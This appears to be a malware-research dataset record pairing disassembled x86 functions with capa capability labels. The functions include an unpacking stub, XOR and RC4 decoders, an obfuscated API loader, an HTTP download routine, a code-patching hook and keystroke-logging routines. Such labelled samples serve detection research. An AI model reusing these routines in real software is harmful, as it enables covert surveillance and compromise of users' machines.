joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008d90
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x10008f45
pushal
mov esi, section.UPX1
lea edi, [esi - 0x7000]
push edi
jmp 0x10008dba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x10008dc1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10008db0
mov eax, 1
add ebx, ebx
jne 0x10008dd3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x10008dc8
jne 0x10008de4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x10008dc8
xor ecx, ecx
sub eax, 3
jb 0x10008df8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x10008e6a
mov ebp, eax
add ebx, ebx
jne 0x10008e03
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x10008e10
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x10008e34
inc ecx
add ebx, ebx
jne 0x10008e20
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x10008e15
jne 0x10008e31
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x10008e15
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x10008e54
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x10008e45
jmp 0x10008db6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x10008e54
add edi, ecx
jmp 0x10008db6
pop esi
mov edi, esi
mov ecx, 0xb1c
mov al, 0xe8
repne scasb al, byte es:[edi]
jne 0x10008e8f
cmp byte [edi], 2
jne 0x10008e74
mov eax, dword [edi]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
stosd dword es:[edi], eax
jmp 0x10008e72
lea edi, [esi + 0x6000]
mov eax, dword [edi]
or eax, eax
je 0x10008ed7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x81dc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8250]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x10008e95
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8254]
or eax, eax
je 0x10008ed1
mov dword [ebx], eax
add ebx, 4
jmp 0x10008eb2
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x10008f08
cmp al, 0xef
ja 0x10008efb
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x10008edd
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x10008eea
mov ebp, dword [esi + 0x8258]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x10008f3c
sub esp, 0xffffff80
jmp 0x100016b3
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x1c680ed6
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x32906796
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x4010c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push ebx
push esi
xor ecx, ecx
push edi
mov ebx, 0x4b0a
mov edi, 0x7d10
test eax, eax
je 0x40119b
mov edx, dword [ebp + 0xc]
test edx, edx
je 0x40119b
cmp eax, edx
jae 0x40119b
sub edx, eax
mov dword [ebp + 0xc], edx
mov esi, 0x7b31
lea ebx, [ebx]
mov eax, 0xac769185
imul esi
add edx, esi
sar edx, 6
mov esi, edx
shr esi, 0x1f
add esi, edx
jne 0x401100
mov esi, 0x6444
lea ebx, [ebx]
mov eax, 0xb81702e1
imul ebx
add edx, ebx
sar edx, 6
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
jne 0x401120
inc ecx
mov eax, ecx
and eax, 0x80000001
jns 0x401144
dec eax
or eax, 0xfffffffe
inc eax
jne 0x401147
inc ecx
cmp ecx, 0x523
jl 0x401135
mov ebx, dword [ebp + 0xc]
xor ecx, ecx
test ebx, ebx
je 0x401170
mov edx, dword [ebp + 8]
jmp 0x401160
mov al, byte [ecx + edx + 1]
add al, 0x23
xor byte [ecx + edx], al
inc ecx
cmp ecx, ebx
jb 0x401160
mov edi, edi
mov eax, 0x51eb851f
imul edi
sar edx, 3
mov edi, edx
shr edi, 0x1f
add edi, edx
jne 0x401170
mov eax, 0xc907da5
imul esi
sar edx, 3
mov esi, edx
shr esi, 0x1f
add esi, edx
jne 0x401183
pop edi
pop esi
pop ebx
pop ebp
ret
mov eax, 0x6073
dec eax
jne 0x4011a0
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x402440
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov ecx, 0x5a30
push ebx
push esi
push edi
mov ebx, 0x34e8
xor edi, edi
mov eax, 0x4bda12f7
imul ecx
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x402455
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x402583
cmp dword [ebp + 0x10], edi
jne 0x402481
cmp dword [ebp + 0x18], edi
je 0x402583
mov ecx, dword [eax + 0x3c]
add ecx, eax
mov eax, ebx
cdq
and edx, 0x1f
lea ebx, [edx + eax]
sar ebx, 5
test ebx, ebx
jne 0x402486
mov ebx, dword [ebp + 0xc]
mov eax, 0x5a4d
cmp word [ebx], ax
jne 0x402583
cmp dword [ecx], 0x4550
jne 0x402583
mov eax, dword [ecx + 0x7c]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x402583
mov eax, 0x1300
cdq
and edx, 0x7f
add eax, edx
sar eax, 7
test eax, eax
jne 0x4024c6
mov esi, 0x7af2
jmp 0x4024e0
mov eax, 0x1b4e81b5
imul esi
sar edx, 4
mov esi, edx
shr esi, 0x1f
add esi, edx
jne 0x4024e0
mov ecx, dword [ecx + 0x78]
add ecx, ebx
mov dword [ebp - 4], ecx
mov eax, dword [ecx + 0x20]
add eax, ebx
mov dword [ebp - 8], eax
mov eax, dword [ecx + 0x24]
add eax, ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ecx + 0x1c]
add eax, ebx
mov dword [ebp - 0x10], eax
mov esi, 0x4997
mov ebx, 0x7061
lea ecx, [ecx]
mov eax, 0x91a2b3c5
imul ebx
add edx, ebx
sar edx, 7
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
jne 0x402520
mov edx, dword [ebp + 0x10]
mov eax, edx
shr eax, 0x10
test eax, eax
je 0x402583
cmp dword [ecx + 0x18], ebx
jbe 0x402570
mov eax, dword [ebp - 8]
mov eax, dword [eax + ebx*4]
add eax, dword [ebp + 0xc]
push eax
push edx
call fcn.00402de0
add esp, 8
test eax, eax
jne 0x40258c
mov eax, dword [ebp - 4]
mov edx, dword [ebp + 0x10]
inc ebx
cmp ebx, dword [eax + 0x18]
jb 0x402546
lea esp, [esp]
mov eax, 0x10fef011
imul esi
sar edx, 4
mov esi, edx
shr esi, 0x1f
add esi, edx
jne 0x402570
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0xc]
mov ecx, 0x56de
movzx esi, word [eax + ebx*2]
jmp 0x4025a0
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x4025a0
inc edi
mov eax, 0x2aaaaaab
imul edi
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
add ecx, ecx
mov eax, edi
sub eax, ecx
jne 0x4025d0
inc edi
cmp edi, 0xbff
jl 0x4025b5
mov ecx, dword [ebp - 0x10]
mov eax, esi
mov ecx, dword [ecx + eax*4]
add ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
cmp ecx, eax
jbe 0x4025f1
add eax, dword [ebp - 0x14]
cmp ecx, eax
jb 0x402583
pop edi
pop esi
mov eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402d20
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, 0x7fbd
mov edi, 0x5390
xor ecx, ecx
mov eax, 0xa80a80a9
imul esi
add edx, esi
sar edx, 7
mov esi, edx
shr esi, 0x1f
add esi, edx
jne 0x402d32
mov esi, dword [ebp + 8]
inc byte [esi + 0x17]
mov bl, byte [esi + 0x17]
mov eax, 0x6bca1af3
imul edi
sar edx, 5
mov edi, edx
shr edi, 0x1f
add edi, edx
jne 0x402d50
movzx eax, byte [esi + 0x126]
movzx edi, bl
lea ebx, [esi + 0x25]
add edi, ebx
movzx edx, byte [edi]
add eax, edx
mov byte [esi + 0x126], al
mov dl, byte [edi]
movzx esi, al
mov al, byte [esi + ebx]
mov byte [edi], al
mov byte [esi + ebx], dl
lea ebx, [ebx]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
lea eax, [eax + eax*4]
sub edx, eax
jne 0x402dae
add ecx, 3
jmp 0x402daf
inc ecx
cmp ecx, 0x658a
jl 0x402d90
movzx eax, byte [edi]
add al, byte [esi + ebx]
movzx ecx, byte [ebp + 0xc]
movzx eax, al
pop edi
mov al, byte [eax + ebx]
movzx eax, al
pop esi
xor eax, ecx
pop ebx
pop ebp
ret
Function at 0x10001136
Capabilities:
Get http content length

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
push 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0x20000005
push dword [ebp + 8]
mov dword [ebp - 8], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov dword [ecx], edx
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 8]
mov dword [ecx], edx
leave
ret

Function at 0x1000120b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push str.wininet
mov byte [ebp - 0x1c], 0x49
mov byte [ebp - 0x1b], 0x6e
mov byte [ebp - 0x1a], 0x74
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x72
mov byte [ebp - 0x17], 0x6e
mov byte [ebp - 0x16], 0x65
mov byte [ebp - 0x15], 0x74
mov byte [ebp - 0x14], 0x47
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0x43
mov byte [ebp - 0x10], 0x6f
mov byte [ebp - 0xf], 0x6e
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x63
mov byte [ebp - 0xb], 0x74
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x64
mov byte [ebp - 8], 0x5a
mov byte [ebp - 7], 0x74
mov byte [ebp - 6], 0x61
mov byte [ebp - 5], 0x74
mov byte [ebp - 4], 0x65
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x10001288
xor eax, eax
leave
ret
lea ecx, [ebp - 0x1c]
push ecx
push eax
mov byte [ebp - 8], 0x53
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
mov byte [ebp - 8], 0x5a
je 0x10001284
push 0
push dword [ebp + 8]
call eax
leave
ret

Function at 0x10001380
Capabilities:
Encode data using xor

Disassembly:
xor ecx, ecx
cmp dword [esp + 8], ecx
jbe 0x10001398
mov eax, dword [esp + 4]
add eax, ecx
xor byte [eax], 4
inc ecx
cmp ecx, dword [esp + 8]
jb 0x10001388
ret
Function at 0x100017c6
Capabilities:
Connect to http server
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
xor ebx, ebx
lea eax, [ebp - 0x10]
push esi
push eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x14], 4
mov dword [ebp - 0xc], ebx
call fcn.100011a9
mov esi, eax
cmp esi, ebx
pop ecx
mov dword [ebp - 4], esi
jne 0x100017fa
xor eax, eax
jmp 0x10001902
push edi
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
push dword [ebp + 8]
push esi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
cmp edi, ebx
mov dword [ebp - 0x10], edi
jne 0x10001822
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x100018ff
call fcn.10001586
push ebx
push 0x84000300
push ebx
push ebx
push str.HTTP_1.0
push eax
push ebx
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
cmp esi, ebx
jne 0x1000184f
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
jmp 0x100018f8
push dword [ebp + 0xc]
push esi
call fcn.10001029
test eax, eax
pop ecx
pop ecx
jne 0x1000186d
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
jmp 0x100018f8
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push esi
call fcn.100010fe
add esp, 0xc
cmp dword [ebp - 0x14], 0xc8
jne 0x1000185e
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 8]
push eax
push esi
call fcn.10001136
add esp, 0xc
push dword [ebp - 8]
push pe_nt_image_headers32
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
cmp edi, ebx
je 0x100018ec
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x100018ec
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 8]
jne 0x100018ec
mov byte [eax + edi - 1], bl
mov eax, dword [ebp + 0x10]
cmp eax, ebx
je 0x100018d5
mov ecx, dword [ebp - 0xc]
dec ecx
mov dword [eax], ecx
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x10]
call esi
push dword [ebp - 4]
call esi
mov eax, edi
jmp 0x10001901
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x10]
call esi
push dword [ebp - 4]
call esi
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100019f2
Capabilities:
Create thread

Disassembly:
cmp dword [esp + 8], 1
jne 0x10001a1e
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor eax, eax
push eax
push eax
push eax
push 0x1000194b
push eax
push eax
mov dword [0x100060ec], esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
xor eax, eax
inc eax
ret 0xc
Function at 0x10001a24
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
xor eax, eax
lea edi, [ebp - 7]
stosd dword es:[edi], eax
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
sub eax, edi
sub eax, 5
mov dword [ebp - 7], eax
lea eax, [ebp + 0xc]
push eax
push pe_nt_image_headers32
push 0x20
push edi
mov byte [ebp - 8], 0xe9
call esi
test eax, eax
je 0x10001a7d
and dword [ebp + 0xc], 0
mov eax, dword [ebp + 0xc]
mov cl, byte [ebp + eax - 8]
mov byte [eax + edi], cl
inc dword [ebp + 0xc]
cmp dword [ebp + 0xc], 5
jb 0x10001a5c
lea eax, [ebp + 0xc]
push eax
push 0x20
push 0x20
push edi
call esi
xor eax, eax
inc eax
pop edi
pop esi
leave
ret
Function at 0x4273e0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4db398
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push esi
push edi
mov eax, dword [0x51f5a8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov al, byte [ebp + 8]
lea esi, [edi + 8]
mov dword [edi], 0x4ee320
mov byte [edi + 4], al
mov dword [ebp + 8], esi
push 0x14
mov dword [ebp - 4], 0
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004b4f3c
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
mov dword [edi + 0x10], 0
lea ecx, [edi + 0x14]
mov byte [ebp - 4], 2
mov dword [ebp - 0x14], ecx
call fcn.0046f200
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0x34], 0
lea esi, [edi + 0x44]
mov byte [ebp - 4], 6
push 0x14
mov dword [ebp - 0x14], esi
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004b4f3c
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
mov dword [edi + 0x4c], 0
lea eax, [ebp + 8]
mov byte [ebp - 4], 8
push eax
call fcn.0046f6a0
add esp, 8
push str.request_context_per_browser
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], 9
call fcn.00406be0
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x20]
push edx
mov byte [ebp - 4], 0xb
mov eax, dword [ecx]
mov eax, dword [eax + 0x2c]
call eax
mov byte [edi + 5], al
mov eax, dword [ebp - 0x1c]
mov byte [ebp - 4], 9
mov dword [ebp - 0x20], 0x4ec704
test eax, eax
je 0x427510
cmp byte [ebp - 0x18], 0
je 0x427510
push eax
call sub.libcef.dll_cef_string_utf16_clear
push 0xc
push dword [ebp - 0x1c]
call fcn.004b4f6c
add esp, 0xc
push str.request_context_shared_cache
lea ecx, [ebp - 0x20]
call fcn.00406be0
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x20]
push edx
mov byte [ebp - 4], 0xc
mov eax, dword [ecx]
mov eax, dword [eax + 0x2c]
call eax
mov byte [edi + 6], al
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x4ec704
test eax, eax
je 0x427559
cmp byte [ebp - 0x18], 0
je 0x427559
push eax
call sub.libcef.dll_cef_string_utf16_clear
push 0xc
push dword [ebp - 0x1c]
call fcn.004b4f6c
add esp, 0xc
mov dword [edi + 0x3c], 0
mov dword [edi + 0x40], 0
mov dword [edi + 0x38], 0
mov eax, dword [ebp + 8]
mov byte [ebp - 4], 0xd
test eax, eax
je 0x427589
mov ecx, dword [eax + 4]
add eax, 4
mov ecx, dword [ecx + 4]
add ecx, eax
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x457920
Capabilities:
Log keystrokes via input method manager

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4e0960
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x51f5a8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x3c], ecx
test dword [ebp + 0xc], eax
jne 0x457966
xor al, al
jmp 0x457aa8
push 0
push 0
push eax
push ecx
call sub.IMM32.dll_ImmGetCompositionStringW
mov ebx, eax
test ebx, ebx
jle 0x45795f
mov eax, 0
mov dword [ebp - 0x38], eax
mov esi, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], esi
add ebx, 2
jne 0x457990
xor edi, edi
jmp 0x4579c4
cmp ebx, 0x7fffffff
ja 0x457acb
push ebx
lea ecx, [ebp - 0x38]
call fcn.0043ee80
lea ecx, [ebx + ebx]
mov dword [ebp - 0x38], eax
push ecx
push 0
lea esi, [ecx + eax]
mov edi, eax
push eax
mov dword [ebp - 0x30], esi
call fcn.004b7610
add esp, 0xc
mov dword [ebp - 0x34], esi
mov eax, edi
push ebx
push eax
push dword [ebp + 0x10]
mov dword [ebp - 4], 0
push dword [ebp - 0x3c]
call sub.IMM32.dll_ImmGetCompositionStringW
mov ecx, edi
mov dword [ebp - 0x18], 0
xor eax, eax
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4579f1
sub ecx, edx
sar ecx, 1
push ecx
push edi
lea ecx, [ebp - 0x28]
call fcn.0043eef0
mov edx, dword [ebp - 0x18]
mov byte [ebp - 4], 1
test edx, edx
jne 0x457a2a
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 4]
test eax, eax
je 0x457a71
push eax
call sub.libcef.dll_cef_string_utf16_clear
add esp, 4
jmp 0x457a71
mov ebx, dword [ebp - 0x2c]
mov ecx, dword [ebx + 4]
test ecx, ecx
jne 0x457a59
push 0xc
call fcn.004b4f3c
mov dword [ebx + 4], eax
xorps xmm0, xmm0
add esp, 4
movq qword [eax], xmm0
mov dword [eax + 8], 0
mov ecx, dword [ebx + 4]
mov edx, dword [ebp - 0x18]
mov byte [ebx + 8], 1
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push 1
cmovae eax, dword [ebp - 0x28]
push ecx
push edx
push eax
call sub.libcef.dll_cef_string_utf16_set
add esp, 0x10
lea ecx, [ebp - 0x28]
call fcn.0043d630
test edi, edi
je 0x457aa6
sub esi, edi
and esi, 0xfffffffe
cmp esi, 0x1000
jb 0x457a9c
mov ecx, dword [edi - 4]
add esi, 0x23
sub edi, ecx
lea eax, [edi - 4]
cmp eax, 0x1f
ja 0x457ac6
mov edi, ecx
push esi
push edi
call fcn.004b4f6c
add esp, 8
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004b5264
mov esp, ebp
pop ebp
ret 0x10
call fcn.004ba5bc
call fcn.004083b0
int3
Function at 0x46e9d0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetKeyState]
push esi
push edi
push 0x10
call ebx
movzx esi, ax
shr esi, 0xf
and esi, 1
push 0x11
add esi, esi
call ebx
shr eax, 0xf
mov edi, esi
or edi, 4
and al, 1
push 0x12
cmove edi, esi
call ebx
shr eax, 0xf
mov esi, edi
or esi, 8
and al, 1
push 0x90
cmove esi, edi
call ebx
mov edi, esi
or edi, 0x100
and al, 1
push 0x14
cmove edi, esi
call ebx
mov ebx, edi
or ebx, 1
and al, 1
mov eax, dword [ebp + 8]
cmove ebx, edi
add eax, 0xfffffff4
mov esi, ebx
cmp eax, 0x84
ja case.0x46ea45.14
movzx eax, byte [eax + 0x46eb20]
jmp dword [eax*4 + 0x46eafc]
mov eax, dword [ebp + 0xc]
or esi, 0x200
and eax, 0x1000000
pop edi
cmove esi, ebx
mov eax, esi
pop esi
pop ebx
pop ebp
ret
mov eax, dword [ebp + 0xc]
or esi, 0x200
and eax, 0x1000000
pop edi
cmovne esi, ebx
mov eax, esi
pop esi
pop ebx
pop ebp
ret
or esi, 0x200
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
push 0xa0
call edi
shr eax, 0xf
test al, 1
jne case.0x46ea45.91
push 0xa1
call edi
shr eax, 0xf
test al, 1
je case.0x46ea45.14
or esi, 0x800
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
push 0xa2
call edi
shr eax, 0xf
test al, 1
jne case.0x46ea45.91
push 0xa3
jmp 0x46eaa2
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
push 0xa4
call edi
shr eax, 0xf
test al, 1
jne case.0x46ea45.91
push 0xa5
jmp 0x46eaa2
or esi, 0x400
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret

Function at 0x46ebb0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
mov ecx, ebx
push esi
shr ecx, 1
mov eax, ebx
and ecx, 4
mov esi, ecx
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
or esi, 2
and al, 4
push 0x12
cmove esi, ecx
call edi
shr eax, 0xf
mov ecx, esi
or ecx, 8
and al, 1
mov eax, ebx
cmove ecx, esi
mov edx, ecx
or edx, 0x10
and al, 1
mov eax, ebx
cmove edx, ecx
mov ecx, edx
or ecx, 0x20
and al, 0x10
push 0x90
cmove ecx, edx
mov esi, ecx
or esi, 0x40
and bl, 2
cmove esi, ecx
call edi
mov edi, esi
or edi, 0x100
and al, 1
push 0x14
cmove edi, esi
call dword [sym.imp.USER32.dll_GetKeyState]
mov ecx, edi
or ecx, 1
and al, 1
cmove ecx, edi
pop edi
pop esi
mov eax, ecx
pop ebx
pop ebp
ret

Function at 0x4cbef0
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004cbd66
Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
nop
mov ebx, 0x408f6c
mov ecx, 0x646d692d
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
mov eax, section..data
nop
mov ebx, 0x42e3d0
nop
nop
mov ecx, 0x2b756bf5
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219